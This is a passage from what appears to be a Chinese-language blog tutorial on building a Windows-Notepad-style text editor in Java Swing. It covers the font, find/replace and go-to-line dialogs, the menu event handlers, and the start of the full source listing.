    	styleText.setText("斜体");
    	else if(currentFont.getStyle()==(Font.BOLD+Font.ITALIC))
    	styleText.setText("粗斜体");
    	styleText.selectAll();
    	String str=String.valueOf(currentFont.getSize());
    	sizeText.setText(str);
    	sizeText.selectAll();
    	final JList fontList,styleList,sizeList;
    	GraphicsEnvironment ge=GraphicsEnvironment.getLocalGraphicsEnvironment();
    	final String fontName[]=ge.getAvailableFontFamilyNames();
    	fontList=new JList(fontName);
    	fontList.setFixedCellWidth(86);
    	fontList.setFixedCellHeight(20);
    	fontList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
    	final String fontStyle[]={"常规","粗体","斜体","粗斜体"};
    	styleList=new JList(fontStyle);
    	styleList.setFixedCellWidth(86);
    	styleList.setFixedCellHeight(20);
    	styleList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
    	if(currentFont.getStyle()==Font.PLAIN)
    	styleList.setSelectedIndex(0);
    	else if(currentFont.getStyle()==Font.BOLD)
    	styleList.setSelectedIndex(1);
    	else if(currentFont.getStyle()==Font.ITALIC)
    	styleList.setSelectedIndex(2);
    	else if(currentFont.getStyle()==(Font.BOLD+Font.ITALIC))
    	styleList.setSelectedIndex(3);
    	final String fontSize[]={"8","9","10","11","12","14","16","18","20","22","24","26","28","36","48","72"};
    	sizeList=new JList(fontSize);
    	sizeList.setFixedCellWidth(43);
    	sizeList.setFixedCellHeight(20);
    	sizeList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
    	fontList.addListSelectionListener(new ListSelectionListener()
    	{ public void valueChanged(ListSelectionEvent event)
    	{ fontText.setText(fontName[fontList.getSelectedIndex()]);
    	fontText.selectAll();
    	Font sampleFont1=new Font(fontText.getText(),style[styleList.getSelectedIndex()],Integer.parseInt(sizeText.getText()));
    	sample.setFont(sampleFont1);
    	}
    	});
    	styleList.addListSelectionListener(new ListSelectionListener()
    	{ public void valueChanged(ListSelectionEvent event)
    	{ int s=style[styleList.getSelectedIndex()];
    	styleText.setText(fontStyle[s]);
    	styleText.selectAll();
    	Font sampleFont2=new Font(fontText.getText(),style[styleList.getSelectedIndex()],Integer.parseInt(sizeText.getText()));
    	sample.setFont(sampleFont2);
    	}
    	});
    	sizeList.addListSelectionListener(new ListSelectionListener()
    	{ public void valueChanged(ListSelectionEvent event)
    	{ sizeText.setText(fontSize[sizeList.getSelectedIndex()]);
    	//sizeText.requestFocus();
    	sizeText.selectAll(); 
    	Font sampleFont3=new Font(fontText.getText(),style[styleList.getSelectedIndex()],Integer.parseInt(sizeText.getText()));
    	sample.setFont(sampleFont3);
    	}
    	});
    	okButton.addActionListener(new ActionListener()
    	{ public void actionPerformed(ActionEvent e)
    	{ Font okFont=new Font(fontText.getText(),style[styleList.getSelectedIndex()],Integer.parseInt(sizeText.getText()));
    	jTextArea.setFont(okFont);
    	fontDialog.dispose();
    	}
    	});
    	JPanel samplePanel=new JPanel();
    	samplePanel.setBorder(BorderFactory.createTitledBorder("示例"));
    	samplePanel.add(sample);
    	JPanel panel1=new JPanel();
    	JPanel panel2=new JPanel();
    	JPanel panel3=new JPanel();
    	panel2.add(fontText);
    	panel2.add(styleText);
    	panel2.add(sizeText);
    	panel2.add(okButton);
    	panel3.add(new JScrollPane(fontList));//JList不支持直接滚动,所以要让JList作为JScrollPane的视口视图
    	panel3.add(new JScrollPane(styleList));
    	panel3.add(new JScrollPane(sizeList));
    	panel3.add(cancel);
    	con.add(panel1);
    	con.add(panel2);
    	con.add(panel3);
    	con.add(samplePanel);
    	fontDialog.setSize(350,340);
    	fontDialog.setLocation(200,200);
    	fontDialog.setResizable(false);
    	fontDialog.setVisible(true);
    	}
    还有这个替换函数,也是超级长的代码量:
    //替换方法
    	public void replace()
    		{ final JDialog replaceDialog=new JDialog(this,"替换",false);//false时允许其他窗口同时处于激活状态(即无模式)
    		Container con=replaceDialog.getContentPane();//返回此对话框的contentPane对象
    		con.setLayout(new FlowLayout(FlowLayout.CENTER));
    		JLabel findContentLabel=new JLabel("查找内容(N):");
    		final JTextField findText=new JTextField(15);
    		JButton findNextButton=new JButton("查找下一个(F):");
    		JLabel replaceLabel=new JLabel("替换为(P):");
    		final JTextField replaceText=new JTextField(15);
    		JButton replaceButton=new JButton("替换(R)");
    		JButton replaceAllButton=new JButton("全部替换(A)");
    		JButton cancel=new JButton("取消");
    		cancel.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ replaceDialog.dispose();
    		}
    		});
    		final JCheckBox matchCheckBox=new JCheckBox("区分大小写(C)");
    		ButtonGroup bGroup=new ButtonGroup();
    		final JRadioButton upButton=new JRadioButton("向上(U)");
    		final JRadioButton downButton=new JRadioButton("向下(U)");
    		downButton.setSelected(true);
    		bGroup.add(upButton);
    		bGroup.add(downButton);
    		/*ButtonGroup此类用于为一组按钮创建一个多斥(multiple-exclusion)作用域。
    		使用相同的 ButtonGroup 对象创建一组按钮意味着“开启”其中一个按钮时,将关闭组中的其他所有按钮。*/
    		/*JRadioButton此类实现一个单选按钮,此按钮项可被选择或取消选择,并可为用户显示其状态。
    		与 ButtonGroup 对象配合使用可创建一组按钮,一次只能选择其中的一个按钮。
    		(创建一个 ButtonGroup 对象并用其 add 方法将 JRadioButton 对象包含在此组中。)*/
    		 
    		//"查找下一个"按钮监听
    		findNextButton.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ //"区分大小写(C)"的JCheckBox是否被选中
    		int k=0,m=0;
    		final String str1,str2,str3,str4,strA,strB;
    		str1=jTextArea.getText();
    		str2=findText.getText();
    		str3=str1.toUpperCase();
    		str4=str2.toUpperCase();
    		if(matchCheckBox.isSelected())//区分大小写
    		{ strA=str1;
    		 strB=str2;
    		}
    		else//不区分大小写,此时把所选内容全部化成大写(或小写),以便于查找 
    		{ strA=str3;
    		 strB=str4;
    		}
    		if(upButton.isSelected())
    		{ //k=strA.lastIndexOf(strB,editArea.getCaretPosition()-1);
    		 if(jTextArea.getSelectedText()==null)
    		 k=strA.lastIndexOf(strB,jTextArea.getCaretPosition()-1);
    		 else
    		 k=strA.lastIndexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()-1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    			 jTextArea.setCaretPosition(k);
    		 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(null,"找不到您查找的内容!","查找",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		}
    		else if(downButton.isSelected())
    		{ if(jTextArea.getSelectedText()==null)
    		 k=strA.indexOf(strB,jTextArea.getCaretPosition()+1);
    		 else
    		 k=strA.indexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()+1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    			 jTextArea.setCaretPosition(k);
    			 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(null,"找不到您查找的内容!","查找",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		}
    		}
    		});//"查找下一个"按钮监听结束
    		 
    		//"替换"按钮监听
    		replaceButton.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ if(replaceText.getText().length()==0 && jTextArea.getSelectedText()!=null) 
    			jTextArea.replaceSelection(""); 
    		if(replaceText.getText().length()>0 && jTextArea.getSelectedText()!=null) 
    			jTextArea.replaceSelection(replaceText.getText());
    		}
    		});//"替换"按钮监听结束
    		 
    		//"全部替换"按钮监听
    		replaceAllButton.addActionListener(new ActionListener()
    		{ public void actionPerformed(ActionEvent e)
    		{ jTextArea.setCaretPosition(0); //将光标放到编辑区开头 
    		int k=0,m=0,replaceCount=0;
    		if(findText.getText().length()==0)
    		{ JOptionPane.showMessageDialog(replaceDialog,"请填写查找内容!","提示",JOptionPane.WARNING_MESSAGE);
    		 findText.requestFocus(true);
    		 return;
    		}
    		while(k>-1)//当文本中有内容被选中时(k>-1被选中)进行替换,否则不进行while循环
    		{ //"区分大小写(C)"的JCheckBox是否被选中
    		 //int k=0,m=0;
    		 final String str1,str2,str3,str4,strA,strB;
    		 str1=jTextArea.getText();
    		 str2=findText.getText();
    		 str3=str1.toUpperCase();
    		 str4=str2.toUpperCase();
    		 if(matchCheckBox.isSelected())//区分大小写
    		 { strA=str1;
    		 strB=str2;
    		 }
    		 else//不区分大小写,此时把所选内容全部化成大写(或小写),以便于查找 
    		 { strA=str3;
    		 strB=str4;
    		 }
    		 if(upButton.isSelected())
    		 { //k=strA.lastIndexOf(strB,editArea.getCaretPosition()-1);
    		 if(jTextArea.getSelectedText()==null)
    		 k=strA.lastIndexOf(strB,jTextArea.getCaretPosition()-1);
    		 else
    		 k=strA.lastIndexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()-1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    			 jTextArea.setCaretPosition(k);
    			 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { if(replaceCount==0)
    		 { JOptionPane.showMessageDialog(replaceDialog, "找不到您查找的内容!", "记事本",JOptionPane.INFORMATION_MESSAGE); 
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(replaceDialog,"成功替换"+replaceCount+"个匹配内容!","替换成功",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		 }
    		 }
    		 else if(downButton.isSelected())
    		 { if(jTextArea.getSelectedText()==null)
    		 k=strA.indexOf(strB,jTextArea.getCaretPosition()+1);
    		 else
    		 k=strA.indexOf(strB, jTextArea.getCaretPosition()-findText.getText().length()+1); 
    		 if(k>-1)
    		 { //String strData=strA.subString(k,strB.getText().length()+1);
    			 jTextArea.setCaretPosition(k);
    			 jTextArea.select(k,k+strB.length());
    		 }
    		 else
    		 { if(replaceCount==0)
    		 { JOptionPane.showMessageDialog(replaceDialog, "找不到您查找的内容!", "记事本",JOptionPane.INFORMATION_MESSAGE); 
    		 }
    		 else
    		 { JOptionPane.showMessageDialog(replaceDialog,"成功替换"+replaceCount+"个匹配内容!","替换成功",JOptionPane.INFORMATION_MESSAGE);
    		 }
    		 }
    		 }
    		 if(replaceText.getText().length()==0 && jTextArea.getSelectedText()!= null)
    		 { jTextArea.replaceSelection("");
    		 replaceCount++;
    		 } 
    		  
    		 if(replaceText.getText().length()>0 && jTextArea.getSelectedText()!= null) 
    		 { jTextArea.replaceSelection(replaceText.getText()); 
    		 replaceCount++;
    		 }
    		}//while循环结束
    		}
    		});//"替换全部"方法结束
    		 
    		//创建"替换"对话框的界面
    		JPanel directionPanel=new JPanel();
    		directionPanel.setBorder(BorderFactory.createTitledBorder("方向"));
    		//设置directionPanel组件的边框;
    		//BorderFactory.createTitledBorder(String title)创建一个新标题边框,使用默认边框(浮雕化)、默认文本位置(位于顶线上)、默认调整 (leading) 以及由当前外观确定的默认字体和文本颜色,并指定了标题文本。
    		directionPanel.add(upButton);
    		directionPanel.add(downButton);
    		JPanel panel1=new JPanel();
    		JPanel panel2=new JPanel();
    		JPanel panel3=new JPanel();
    		JPanel panel4=new JPanel();
    		panel4.setLayout(new GridLayout(2,1));
    		panel1.add(findContentLabel);
    		panel1.add(findText);
    		panel1.add(findNextButton);
    		panel4.add(replaceButton);
    		panel4.add(replaceAllButton);
    		panel2.add(replaceLabel);
    		panel2.add(replaceText);
    		panel2.add(panel4);
    		panel3.add(matchCheckBox);
    		panel3.add(directionPanel);
    		panel3.add(cancel);
    		con.add(panel1);
    		con.add(panel2);
    		con.add(panel3);
    		replaceDialog.setSize(420,220);
    		replaceDialog.setResizable(false);//不可调整大小
    		replaceDialog.setLocation(230,280);
    		replaceDialog.setVisible(true);
    	}//"全部替换"按钮监听结束
    然后是转到函数!Goto();这个就少点儿了。

    private void turnTo() {  
            final JDialog gotoDialog = new JDialog(this, "转到下列行",false); 
            JLabel gotoLabel = new JLabel("行数(L):");  
            final JTextField linenum = new JTextField(5);  
            linenum.setText("1");  
            linenum.selectAll();  
      
            JButton okButton = new JButton("确定");  
            okButton.addActionListener(new ActionListener() {  
      
                public void actionPerformed(ActionEvent e) {  
                    int totalLine = jTextArea.getLineCount();  
                    int[] lineNumber = new int[totalLine + 1];  
                    String s = jTextArea.getText();  
                    int pos = 0, t = 0;  
      
                    while (true) {  
                        pos = s.indexOf('\12', pos);  
                        // System.out.println("引索pos:"+pos);  
                        if (pos == -1)  
                            break;  
                        lineNumber[t++] = pos++;  
                    }  
      
                    int gt = 1;  
                    try {  
                        gt = Integer.parseInt(linenum.getText());  
                    } catch (NumberFormatException efe) {  
                        JOptionPane.showMessageDialog(null, "请输入行数!", "提示", JOptionPane.WARNING_MESSAGE);  
                        linenum.requestFocus(true);  
                        return;  
                    }  
      
                    if (gt < 2 || gt >= totalLine) {  
                        if (gt < 2)  
                            jTextArea.setCaretPosition(0);  
                        else  
                            jTextArea.setCaretPosition(s.length());  
                    } else  
                        jTextArea.setCaretPosition(lineNumber[gt - 2] + 1);  
                    gotoDialog.dispose();  
                }  
        });  
    JButton cancelButton = new JButton("取消");  
        cancelButton.addActionListener(new ActionListener() {  
            public void actionPerformed(ActionEvent e) {  
                gotoDialog.dispose();  
            }  
        });  
    
        Container con = gotoDialog.getContentPane();  
        con.setLayout(new FlowLayout());  
        con.add(gotoLabel);  
        con.add(linenum);  
        con.add(okButton);  
        con.add(cancelButton);  
    
        gotoDialog.setSize(200, 100);  
        gotoDialog.setResizable(false);  
        gotoDialog.setLocation(300, 280);  
        gotoDialog.setVisible(true);  
        }
    
    。。。终于把特别长的代码给搞定了。最后,就是那个出发事件的函数Event()了

    public void Event() {
    		
    		//以下为文件菜单
    		newItem.addActionListener(new ActionListener() {
    			   public void actionPerformed(ActionEvent e) {
    				    try {
    				     if (e.getSource() == newItem) {
    				      if (!(getTa().getText()).equals("")) {
    				       Object[] options = { "确定", "取消" };
    				       int response = JOptionPane.showOptionDialog(null,
    				         "你是否保存", "提示", JOptionPane.YES_OPTION,
    				         JOptionPane.QUESTION_MESSAGE, null,
    				         options, options[0]);
    				       if (response == 0) {
    				        FileDialog d = new FileDialog(f, "保存文件",
    				          FileDialog.SAVE);
    				        d.setVisible(true);
    				        fileName = d.getDirectory() + d.getFile();
    				        FileOutputStream fout = new FileOutputStream(
    				          fileName + ".txt");
    
    				        byte[] bb = getTa().getText()
    				          .getBytes();
    
    				        fout.write(bb);
    				        // 关闭
    				        fout.close();
    				        JOptionPane.showMessageDialog(null, "已保存");
    				        getTa().setText("");
    				       }
    				       if (response == 1) {
    				        JOptionPane.showMessageDialog(null, "你选择了取消");
    				        getTa().setText("");
    				       }
    				      }
    				     }
    				    } catch (Exception e2) {
    				     System.out.println(e2.getMessage());
    				    }
    				   }
    				  });
    		
    		closeItem.addActionListener(new ActionListener() {
    			@Override
    			public void actionPerformed(ActionEvent e) {
    				System.exit(0);
    			}
    		});
    		
    		aboutItem.addActionListener(new ActionListener() {		
    			@Override
    			public void actionPerformed(ActionEvent e) {
    				JOptionPane.showMessageDialog(null, "windows记事本\n"
    						+ "借鉴@SnoWalker\n" + "用于实现");
    			}
    		});
    		
    		 openItem.addActionListener(new ActionListener()//菜单条目监听:打开  
    	        {  
    	            public void actionPerformed(ActionEvent e)  
    	            {  
    	                open.setVisible(true);  
    	                String dirPath = open.getDirectory();	//获取对话框目录;FileDialog类的方法  
    	                String fileName= open.getFile();    	//获取对话框选定文件  
    	                if(dirPath==null || fileName==null) 	//点取消  
    	                    return; 
    	                
    	                jTextArea.setText("");//打开文件之前清空文本区域  
    	                
    	                file = new File(dirPath,fileName);  
    	                try  
    	                {  
    	                    BufferedReader br = new BufferedReader(new FileReader(file));//放入缓存器提高效率  
    	                    String line = null;		//定义一个空行
    	                    while ((line=br.readLine()) !=null)  
    	                    {  
    	                    	//将给定文本追加到文档结尾。如果模型为 null 或者字符串为 null 或空,则不执行任何操作。 
    	                    	//虽然大多数 Swing 方法不是线程安全的,但此方法是线程安全的。
    	                    	jTextArea.append(line+"\r\n");  
    	                    }  
    	                }  
    	                catch (IOException ie){  
    	                    throw new RuntimeException("读取失败!");  
    	                }  
    	            }  
    	        });  
    		 
    	        saveItem.addActionListener(new ActionListener()//菜单条目监听:保存  
    	        {     
    	            public void actionPerformed(ActionEvent e)  
    	            {  
    	                if(file==null)  
    	                {  
    	                    save.setVisible(true);  
    	                    String dirPath = save.getDirectory();  
    	                    String fileName= save.getFile();  
    	                    if(dirPath==null || fileName==null)  
    	                        return;  
    	                    file = new File(dirPath,fileName);                
    	                }  
    	                try  
    	                {  
    	                    BufferedWriter bw = new BufferedWriter(new FileWriter(file));  
    	                    String text = jTextArea.getText();  
    	                    bw.write(text);  
    	                    bw.close();  
    	                }  
    	                catch (IOException ex)  
    	                {  
    	                    throw new RuntimeException();  
    	                }  
    	            }  
    	        }); 
    	        
    	        savetoItem.addActionListener(new ActionListener() {
    	     	   public void actionPerformed(ActionEvent e) {
    	     		    if (e.getSource() == savetoItem) {
    	     		     try {
    	     		      FileDialog d = new FileDialog(f, "另存为", FileDialog.SAVE);
    	     		      d.setVisible(true);
    	     		      fileName = d.getDirectory() + d.getFile();
    	     		      FileOutputStream fout = new FileOutputStream(fileName + ".txt");
    	     		      byte[] bb = getTa().getText().getBytes();
    
    	     		      fout.write(bb);
    	     		      // 关闭
    	     		      fout.close();
    	     		     } catch (Exception e4) {
    	     		      System.out.println(e4.getMessage());
    	     		     }
    	     		    }
    	     		   }
    	     		  });
    	        
    	        
    	 
    	        
    	        //以下为编辑菜单
    	        editUndo.addActionListener(new ActionListener() {
    		     	   public void actionPerformed(ActionEvent e) {
    		     		  jTextArea.requestFocus();
    		     		 if(undo.canUndo())
    		     		 { try
    		     		 { undo.undo();
    		     		 }
    		     		 catch (CannotUndoException ex)
    		     		 { System.out.println("Unable to undo:" + ex);
    		     		  //ex.printStackTrace();
    		     		 }
    		     		 }
    		     		 if(!undo.canUndo())
    		     		 { editUndo.setEnabled(false);
    		     		 }
    		     		   }
    		     		  });
    	        editCut.addActionListener(new ActionListener() {
    	     	   public void actionPerformed(ActionEvent e) {
    	     	    if (e.getSource() == editCut) {
    	     	    	jTextArea.requestFocus();
    	     	    	String text=jTextArea.getSelectedText();
    	     	    	StringSelection selection=new StringSelection(text);
    	     	    	clipBoard.setContents(selection,null);
    	     	    	jTextArea.replaceRange("",jTextArea.getSelectionStart(),jTextArea.getSelectionEnd());
    	     	    	checkMenuItemEnabled();
    	     	    	
    	     	    }
    	     	   }
    	     	  });
    	        editCopy.addActionListener(new ActionListener() {
    	     	   public void actionPerformed(ActionEvent e) {
    	     	    if (e.getSource() == editCopy) {
    	     	    	jTextArea.requestFocus();
    	     	    	String text=jTextArea.getSelectedText();
    	     	    	StringSelection selection=new StringSelection(text);
    	     	    	clipBoard.setContents(selection,null);
    	     	    	checkMenuItemEnabled();
    	     	    }
    	     	   }
    	     	  });
    	  	  editPaste.addActionListener(new ActionListener() {
    	  	   public void actionPerformed(ActionEvent e) {
    	  	    if (e.getSource() == editPaste) {
    	  	    	jTextArea.requestFocus();
    	  	    	Transferable contents=clipBoard.getContents(this);
    	  	    	if(contents==null)return;
    	  	    	String text="";
    	  	    	try
    	  	    	{ text=(String)contents.getTransferData(DataFlavor.stringFlavor);
    	  	    	}
    	  	    	catch (Exception exception)
    	  	    	{
    	  	    	}
    	  	    	jTextArea.replaceRange(text,jTextArea.getSelectionStart(),jTextArea.getSelectionEnd());
    	  	    	checkMenuItemEnabled();
    	  	    }
    	  	   }
    	  	  });
    	  	  editDelete.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    			  	    if (e.getSource() == editDelete) {
    			  	    	jTextArea.requestFocus();
    			  	    	jTextArea.replaceRange("",jTextArea.getSelectionStart(),jTextArea.getSelectionEnd());
    			  	    	checkMenuItemEnabled();
    			  	   }
    		  	   }
    			  	  });
    	  	 editFind.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    			  	    if (e.getSource() == editFind) {
    			  	    	jTextArea.requestFocus();
    			  	    	find();
    			  	   }
    		  	   }
    			  	  });
    	  	editReplace.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    			  	    if (e.getSource() == editReplace) {
    			  	    	jTextArea.requestFocus();
    			  	    	replace();
    			  	   }
    		  	   }
    			  	  });
    	  	
    	  	editGoto.addActionListener(new ActionListener() {
    	  	   public void actionPerformed(ActionEvent e) {
    		  	    if (e.getSource() == editGoto) {
    		  	    	jTextArea.requestFocus();
    		  	    	turnTo();
    		  	   }
    	  	   }
    		  	  });
    	  	
    	  	editAll.addActionListener(new ActionListener() {
    	  	   public void actionPerformed(ActionEvent e) {
    		  	    if (e.getSource() == editAll) {
    		  	    	jTextArea.selectAll();
    		  	   }
    	  	   }
    		  	  });
    	  	
    	  	formatLinewrap.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    		  		 if(formatLinewrap.getState())
    		  			jTextArea.setLineWrap(true);
    		  			else
    		  			jTextArea.setLineWrap(false);
    		  	   }
    			  	  });
    	  	formatFont.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    		  		 jTextArea.requestFocus();
    		  		font();
    		  	   }
    			  	  });
    	  	Status.addActionListener(new ActionListener() {
    		  	   public void actionPerformed(ActionEvent e) {
    		  		 if(Status.getState()) {
    		  		 statusLabel.setVisible(true);
    		  		 }
    		  		else
    		  		statusLabel.setVisible(false);
    		  	   }
    			  	  });
    	}
    		
    	public static void main(String[] args){
    		new MainFrame();
    	}
    }

    文章最后打卡处!!!代码汇总!992行,慢慢看吧!!!

    package practicesss;
    
    import java.awt.BorderLayout;
    import java.awt.Component;
    import java.awt.Container;
    import java.awt.Dimension;
    import java.awt.FileDialog;
    import java.awt.FlowLayout;
    import java.awt.Font;
    import java.awt.GraphicsEnvironment;
    import java.awt.GridLayout;
    import java.awt.Toolkit;
    import java.awt.datatransfer.Clipboard;
    import java.awt.datatransfer.DataFlavor;
    import java.awt.datatransfer.StringSelection;
    import java.awt.datatransfer.Transferable;
    import java.awt.event.ActionEvent;
    import java.awt.event.ActionListener;
    import java.io.*;
    import javax.swing.text.Document;
    import javax.swing.JTextArea; 
    import javax.swing.text.PlainDocument;  
    
    import javax.swing.*;
    import javax.swing.event.DocumentEvent;
    import javax.swing.event.ListSelectionEvent;
    import javax.swing.event.ListSelectionListener;
    import javax.swing.event.UndoableEditEvent;
    import javax.swing.event.UndoableEditListener;
    import javax.swing.undo.CannotUndoException;
    import javax.swing.undo.UndoManager;
    import javax.swing.undo.*;
    import practicesss.notepad.UndoHandler;
    
    
    
    public class MainFrame extends JFrame{
    	//设置组件
    	
    	private JMenuBar menuBar; 	//菜单条
    	private JMenu fileMenu;		//文件菜单
    	private JMenu editMenu;		//编辑菜单
    	private JMenu formatMenu;	//格式菜单
    	private JMenu viewMenu;		//查看菜单
    	private JMenu helpMenu;		//帮助菜单
    	
    	private NotePadFrame f;
    	
    	private JTextArea jTextArea;	//文本区域
    	private JScrollPane jScrollPane;		//滚动条
    	//文件菜单内四项
    	private JMenuItem openItem, closeItem, saveItem,aboutItem;	
    	private JMenuItem newItem, savetoItem;		//新建项目,另存为项目
    	//编辑菜单中的所有项目
    	private JMenuItem editUndo, editCut, editCopy, editPaste, editDelete, editFind, editFindnext, editReplace, editGoto, editAll, editDates;
    	//格式菜单下的项目
    	private JMenuItem formatFont;		//字体
    	private JCheckBoxMenuItem formatLinewrap;	//自动换行
    	//查看菜单下的项目
    	private JCheckBoxMenuItem Status;
    	
    	private FileDialog open,save;		//定义一个打开文件和保存文件
    	private File file;  	//定义一个文件
    	
    	String fileName,copy,paste,cut;
    	
    //	public UndoManager undoMgr = new UndoManager();
    	
    	
    	
    	class UndoHandler implements UndoableEditListener
    	{ public void undoableEditHappened(UndoableEditEvent uee)
    	{ undo.addEdit(uee.getEdit());
    	}
    	}
    	public void removeUpdate(DocumentEvent e)
    	{ editUndo.setEnabled(true);
    	}
    	public void insertUpdate(DocumentEvent e)
    	{ editUndo.setEnabled(true);
    	}
    	public void changedUpdate(DocumentEvent e)
    	{ editUndo.setEnabled(true);
    	}//DocumentListener结束
    	
    	//系统剪切板调用
    	Toolkit toolkit=Toolkit.getDefaultToolkit();
    	Clipboard clipBoard=toolkit.getSystemClipboard();
    	//创建撤销操作管理器(与撤销操作有关)
    	protected UndoManager undo=new UndoManager();
    	protected UndoableEditListener undoHandler=new UndoHandler();
    	
    	protected Component statusLabel;
    //	jTextArea.addUndoableEditListener(undo); 
    	
    	
    	MainFrame() {		
    		Init();
    	}
    	
    	//初始化
    	public void Init(){		
    		JFrame frame = new JFrame("Wangha's Text");		//建立一个名为记事本·伪的窗口
    		frame.setBounds(300, 300, 700, 450);		//窗口位置在300,300,窗口大小为700*450
    		frame.setDefaultCloseOperation(EXIT_ON_CLOSE);		//
    		
    		menuBar = new JMenuBar();		//初始化菜单栏
    		fileMenu = new JMenu("文件");		//初始化名为文件的文件菜单
    		editMenu = new JMenu("编辑");		//初始化编辑菜单
    		formatMenu = new JMenu("格式");	//初始化格式菜单
    		viewMenu = new JMenu("查看");		//初始化查看菜菜的那
    		helpMenu = new JMenu("帮助");		//初始话名为帮助的帮助菜单
    		
    //		Document doc = jTextArea.getDocument();
    		
    		jTextArea = new JTextArea(10, 40);		//10行40列
    		Font x = new Font("Monospaced",1,20);	//定义字体大小以及一些属性
    		
    		jTextArea.setFont(x);		//只能使用x这种字体
    		jTextArea.setLineWrap(true);//到达指定宽度则换行
    		//应当首先利用构造函数指定JScrollPane的控制对象,此处为JTextArea,然后再讲JScrollPane
    		
    		jScrollPane = new JScrollPane(jTextArea);	//将滚动条添加进面板
    		//设置滚动条自动出现
    		jScrollPane.setHorizontalScrollBarPolicy( JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); //水平
    		jScrollPane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED); //竖直
    		jScrollPane.setViewportView(jTextArea);
    		
    		jTextArea.getDocument().addUndoableEditListener(undo);	
    		
    		//定义文件菜单内部的功能菜单
    		newItem = new JMenuItem("新建");
    		openItem = new JMenuItem("打开");
    		saveItem = new JMenuItem("保存");
    		savetoItem = new JMenuItem("另存为");
    		closeItem = new JMenuItem("关闭");
    		//定义编辑菜单内部项目
    		editUndo = new JMenuItem("撤销");
    		editCut = new JMenuItem("剪切");
    		editCopy = new JMenuItem("复制");
    		editPaste = new JMenuItem("粘贴");
    		editDelete = new JMenuItem("删除");
    		editFind = new JMenuItem("查找");
    		editReplace = new JMenuItem("替换");
    		editGoto = new JMenuItem("转到");
    		editAll = new JMenuItem("全选");
    		editDates = new JMenuItem("时间");
    		//格式菜单
    		formatFont = new JMenuItem("字体");
    		formatLinewrap = new JCheckBoxMenuItem("自动换行");
    		//查看菜单
    		Status = new JCheckBoxMenuItem("状态栏");
    		//帮助菜单
    		aboutItem = new JMenuItem("关于");
    		
    		//添加两个选项卡到JMenu
    		//添加子菜单项到菜单项
    		menuBar.add(fileMenu);
    		menuBar.add(editMenu);
    		menuBar.add(formatMenu);
    		menuBar.add(viewMenu);
    		menuBar.add(helpMenu);
    		
    		fileMenu.add(newItem);
    		fileMenu.add(openItem);
    		fileMenu.add(saveItem);
    		fileMenu.add(savetoItem);
    		fileMenu.add(closeItem);	
    		editMenu.add(editUndo);
    		editMenu.add(editCut);
    		editMenu.add(editCopy);
    		editMenu.add(editPaste);
    		editMenu.add(editDelete);
    		editMenu.add(editFind);
    		editMenu.add(editReplace);
    		editMenu.add(editGoto);
    		editMenu.add(editAll);
    		editMenu.add(editDates);
    		formatMenu.add(formatLinewrap);
    		formatMenu.add(formatFont);
    		viewMenu.add(Status);
    		helpMenu.add(aboutItem);
    		//放置菜单项及输入框
    		
    		frame.add(menuBar, BorderLayout.NORTH);
    		frame.add(jScrollPane, BorderLayout.CENTER);
    		
    		statusLabel=new JLabel(" 按F1获取帮助");
    		frame.add(statusLabel,BorderLayout.SOUTH);//向窗口添加状态栏标签
    		statusLabel.setVisible(false);
    
    		//FileDialog 类显示一个对话框窗口,用户可以从中选择文件。 
    		//由于它是一个模式对话框,当应用程序调用其 show 方法来显示对话框时,它将阻塞其余应用程序,直到用户选择一个文件。 
    		open = new FileDialog(frame,"打开文档",FileDialog.LOAD);	//打开文档时候的界面
    	    save = new FileDialog(frame,"保存文档",FileDialog.SAVE); 	//保存文档时候的界面
    		
    	    Event();												//四个按钮的监听
    	    frame.setVisible(true);									//显示界面
    	    
    	}
    	public JTextArea getTa() {
    		  return jTextArea;
    		 }
    	public void checkMenuItemEnabled()
    	{ String selectText=jTextArea.getSelectedText();
    	if(selectText==null)
    	{ editCut.setEnabled(true);
    //	popupCut.setEnabled(false);
    	editCopy.setEnabled(true);
    //	popupCopy.setEnabled(false);
    	editDelete.setEnabled(true);
    //	popupMenu_Delete.setEnabled(false);
    	}
    	else
    	{ editCut.setEnabled(true);
    //	popupMenu_Cut.setEnabled(true); 
    	editCopy.setEnabled(true);
    //	popupMenu_Copy.setEnabled(true);
    	editDelete.setEnabled(true);
    //	popupMenu_Delete.setEnabled(true);
    	}
    	}
    	
    	//查找方法
    	public void find()
    		{ final JDialog findDialog=new JDialog(this,"查找",false);//false时允许其他窗口同时处于激活状态(即无模式)
    		Container con=findDialog.getContentPane();//返回此对话框的contentPane对象 
    		con.setLayout(new FlowLayout(FlowLayout.LEFT));
    		JLabel findContentLabel=new JLabel("查找内容(N):");
    		final JTextField findText=new JTextField(15);
    		JButton findNextButton=new JButton("查找下一个(F):");
    		final JCheckBox matchCheckBox=new JCheckBox("区分大小写(C)");
    		ButtonGroup bGroup=new ButtonGroup();
